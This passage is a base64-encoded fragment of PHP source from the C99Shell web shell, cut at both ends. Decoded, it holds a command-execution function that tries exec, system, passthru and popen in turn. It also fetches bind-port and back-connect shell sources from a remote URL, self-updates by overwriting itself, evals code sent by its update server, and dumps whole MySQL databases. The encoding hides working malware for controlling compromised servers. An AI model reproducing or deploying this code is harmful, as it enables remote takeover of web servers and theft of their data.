XR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0KIHsNCiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogfQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcm1kaXIoJGQpOw0KIHJldHVybiAhaXNfZGlyKCRkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1vYmooJG8pDQp7DQogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KIGlmIChpc19kaXIoJG8pKQ0KIHsNCiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7DQogZ2xvYmFsICRkaXNhYmxlZnVuYzsNCiAkcmVzdWx0ID0gIiI7DQogaWYgKCFlbXB0eSgkY21kKSkNCiB7DQogIGlmIChpc19jYWxsYWJsZSgiZXhlYyIpIGFuZCAhaW5fYXJyYXkoImV4ZWMiLCRkaXNhYmxlZnVuYykpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQ0KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpIGFuZCAhaW5fYXJyYXkoInN5c3RlbSIsJGRpc2FibGVmdW5jKSkgeyR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgc3lzdGVtKCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInBhc3N0aHJ1IikgYW5kICFpbl9hcnJheSgicGFzc3RocnUiLCRkaXNhYmxlZnVuYykpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHBhc3N0aHJ1KCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjt9DQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkNCiAgew0KICAgJHJlc3VsdCA9ICIiOw0KICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30NCiAgIHBjbG9zZSgkZnApOw0KICB9DQogfQ0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkge2Z1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cGUgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cGUgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cGUgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHR5cGUgPSAicCI7fQ0KIGVsc2UgeyR0eXBlID0gIj8iO30NCg0KICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogJG93bmVyWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAyMDApPyJ3IjoiLSI7DQogJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCk/IngiOiItIjsNCiAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICRncm91cFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDIwKT8idyI6Ii0iOw0KICRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApPyJ4IjoiLSI7DQogJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAkd29ybGRbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAwMik/ICJ3IjoiLSI7DQogJHdvcmxkWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAwMSk/IngiOiItIjsNCg0KIGlmICgkbW9kZSAmIDB4ODAwKSB7JG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWyJleGVjdXRlIl0gPT0gIngiKT8icyI6IlMiO30NCiBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogaWYgKCRtb2RlICYgMHgyMDApIHskd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpPyJ0IjoiVCI7fQ0KDQogcmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgYW5kICFpbl9hcnJheSgicG9zaXhfZ2V0cHd1aWQiLCRkaXNhYmxlZnVuYykpIHtmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkdWlkKSB7cmV0dXJuIEZBTFNFO319DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9raWxsIikgYW5kICFpbl9hcnJheSgicG9zaXhfa2lsbCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2tpbGwoJGdpZCkge3JldHVybiBGQUxTRTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHQgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KIGVsc2UgeyR0ID0gIj8iO30NCiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogJHdbInIiXSA9ICgkbW9kZSAmIDAwMDA0KSA+IDA7ICR3WyJ3Il0gPSAoJG1vZGUgJiAwMDAwMikgPiAwOyAkd1sieCJdID0gKCRtb2RlICYgMDAwMDEpID4gMDsNCiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpDQp7DQpmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpDQp7DQogJG9uZSA9IGludHZhbCgkc29ydCk7DQogJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9DQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykNCnsNCiBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkNCnsNCmZ1bmN0aW9uIGM5OWdldHNvdXJjZSgkZm4pDQp7DQogZ2xvYmFsICRjOTlzaF9zb3VyY2VzdXJsOw0KICRhcnJheSA9IGFycmF5KA0KICAiYzk5c2hfYmluZHBvcnQucGwiID0+ICJjOTlzaF9iaW5kcG9ydF9wbC50eHQiLA0KICAiYzk5c2hfYmluZHBvcnQuYyIgPT4gImM5OXNoX2JpbmRwb3J0X2MudHh0IiwNCiAgImM5OXNoX2JhY2tjb25uLnBsIiA9PiAiYzk5c2hfYmFja2Nvbm5fcGwudHh0IiwNCiAgImM5OXNoX2JhY2tjb25uLmMiID0+ICJjOTlzaF9iYWNrY29ubl9jLnR4dCIsDQogICJjOTlzaF9kYXRhcGlwZS5wbCIgPT4gImM5OXNoX2RhdGFwaXBlX3BsLnR4dCIsDQogICJjOTlzaF9kYXRhcGlwZS5jIiA9PiAiYzk5c2hfZGF0YXBpcGVfYy50eHQiLA0KICk7DQogJG5hbWUgPSAkYXJyYXlbJGZuXTsNCiBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGM5OXNoX3NvdXJjZXN1cmwuJG5hbWUpO30NCiBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OXNoX2dldHVwZGF0ZSIpKQ0Kew0KZnVuY3Rpb24gYzk5c2hfZ2V0dXBkYXRlKCR1cGRhdGUgPSBUUlVFKQ0Kew0KICR1cmwgPSAkR0xPQkFMU1siYzk5c2hfdXBkYXRldXJsIl0uIj92ZXJzaW9uPSIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoJEdMT0JBTFNbInNodmVyIl0pKS4iJnVwZGF0ZW5vdz0iLigkdXBkYXRlbm93PyIxIjoiMCIpLiImIjsNCiAkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCiBpZiAoISRkYXRhKSB7cmV0dXJuICJDYW4ndCBjb25uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhIjt9DQogZWxzZQ0KIHsNCiAgJGRhdGEgPSBsdHJpbSgkZGF0YSk7DQogICRzdHJpbmcgPSBzdWJzdHIoJGRhdGEsMyxvcmQoJGRhdGF7Mn0pKTsNCiAgaWYgKCRkYXRhezB9ID09ICJceDk5IiBhbmQgJGRhdGF7MX0gPT0gIlx4MDEiKSB7cmV0dXJuICJFcnJvcjogIi4kc3RyaW5nOyByZXR1cm4gRkFMU0U7fQ0KICBpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwMiIpIHtyZXR1cm4gIllvdSBhcmUgdXNpbmcgbGF0ZXN0IHZlcnNpb24hIjt9DQogIGlmICgkZGF0YXswfSA9PSAiXHg5OSIgYW5kICRkYXRhezF9ID09ICJceDAzIikNCiAgew0KICAgJHN0cmluZyA9IGV4cGxvZGUoIlx4MDEiLCRzdHJpbmcpOw0KICAgaWYgKCR1cGRhdGUpDQogICB7DQogICAgJGNvbmZ2YXJzID0gYXJyYXkoKTsNCiAgICAkc291cmNldXJsID0gJHN0cmluZ1swXTsNCiAgICAkc291cmNlID0gZmlsZV9nZXRfY29udGVudHMoJHNvdXJjZXVybCk7DQogICAgaWYgKCEkc291cmNlKSB7cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdGUhIjt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJGZwID0gZm9wZW4oX19GSUxFX18sInciKTsNCiAgICAgaWYgKCEkZnApIHtyZXR1cm4gIkxvY2FsIGVycm9yOiBjYW4ndCB3cml0ZSB1cGRhdGUgdG8gIi5fX0ZJTEVfXy4iISBZb3UgbWF5IGRvd25sb2FkIGM5OXNoZWxsLnBocCBtYW51YWxseSA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9DQogICAgIGVsc2Uge2Z3cml0ZSgkZnAsJHNvdXJjZSk7IGZjbG9zZSgkZnApOyByZXR1cm4gIlRoYW5rcyEgVXBkYXRlZCB3aXRoIHN1Y2Nlc3MuIjt9DQogICAgfQ0KICAgfQ0KICAgZWxzZSB7cmV0dXJuICJOZXcgdmVyc2lvbiBhcmUgYXZhaWxhYmxlOiAiLiRzdHJpbmdbMV07fQ0KICB9DQogIGVsc2VpZiAoJGRhdGF7MH0gPT0gIlx4OTkiIGFuZCAkZGF0YXsxfSA9PSAiXHgwNCIpIHtldmFsKCRzdHJpbmcpOyByZXR1cm4gMTt9DQogIGVsc2Uge3JldHVybiAiRXJyb3IgaW4gcHJvdG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpICI7fQ0KIH0NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpDQp7DQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpDQp7DQogZ2xvYmFsICRzaHZlcjsNCiAkc29jayA9ICRzZXRbInNvY2siXTsNCiAkZGIgPSAkc2V0WyJkYiJdOw0KICRwcmludCA9ICRzZXRbInByaW50Il07DQogJG5sMmJyID0gJHNldFsibmwyYnIiXTsNCiAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOw0KICR0YWJzID0gJHNldFsidGFicyJdOw0KICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogJHJldCA9IGFycmF5KCk7DQogJHJldFsiZXJyIl0gPSBhcnJheSgpOw0KIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9DQogaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30NCiBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogaWYgKGVtcHR5KCRmaWxlKSkNCiB7DQogICRmaWxlID0gJHRtcGRpci4iZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJGRiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsNCiB9DQogaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9DQogaWYgKHNpemVvZigkdGFicykgPT0gMCkNCiB7DQogIC8vIHJldHJpdmUgdGFibGVzLWxpc3QNCiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogfQ0KICRvdXQgPSAiIyBEdW1wZWQgYnkgQzk5U2hlbGwuU1FMIHYuICIuJHNodmVyLiINCiMgSG9tZSBwYWdlOiBodHRwOi8vY2N0ZWFtLnJ1DQojDQojIEhvc3Qgc2V0dGluZ3M6DQojIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiMgREI6IFwiIi4kZGIuIlwiDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoiOw0KICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiBmb3JlYWNoKCR0YWJzIGFzICR0YWIpDQogew0KICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpDQogIHsNCiAgIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9DQogICAvLyByZWNpZXZlIHF1ZXJ5IGZvciBjcmVhdGUgdGFibGUgc3RydWN0dXJlDQogICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFIGAiLiR0YWIuImAiLCAkc29jayk7DQogICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICAkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOw0KICAgICRvdXQgLj0gJHJvd1siMSJdLiI7XG5cbiI7DQogICAgLy8gcmVjaWV2ZSB0YWJsZSB2YXJpYWJsZXMNCiAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApDQogICAgew0KICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpKQ0KICAgICB7DQogICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICBmb3JlYWNoKCR2YWx1ZXMgYXMgJGs9PiR2KSB7JHZhbHVlc1ska10gPSBhZGRzbGFzaGVzKCR2KTt9DQogICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgJG91dCAuPSAkc3FsOw0KICAgICB9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiBpZiAoJGZpbGUpDQogew0KICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogIGVsc2UNCiAgew0KICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgZmNsb3NlICgkZnApOw0KICB9DQogfQ0KIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KIHJldHVybiAkb3V0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkNCnsNCiBpZiAoIWlzX2FycmF5KCRhcnJheSkpIHskYXJyYXkgPSBhcnJheSgpO30NCiAkcmVzdWx0ID0gIiI7DQogZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KQ0KIHsNCiAgJHZhbHVlID0gIiI7DQogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogfQ0KICRyZXN1bHQgPSBzdWJzdHIoJHJlc3VsdCwwLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpOw0KIHJldHVybiAkcmVzdWx0Ow0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykNCnsNCiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICRhcnJheSA9IGFycmF5KCk7DQogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogcmV0dXJuICRhcnJheTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpDQp7DQpmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKQ0Kew0KIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9DQogZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KIHJldHVybiAkZXJyb3I7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpDQp7DQogZ2xvYmFsICRzdWJtaXQsJHNxbF9hY3QsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDsNCiBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogew0KICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOw0KICBpZiAoJHRibF9zdHJ1Y3QpDQogIHsNCiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOw0KICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIj88YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KICB9DQogfQ0KIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpDQp7DQogJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRk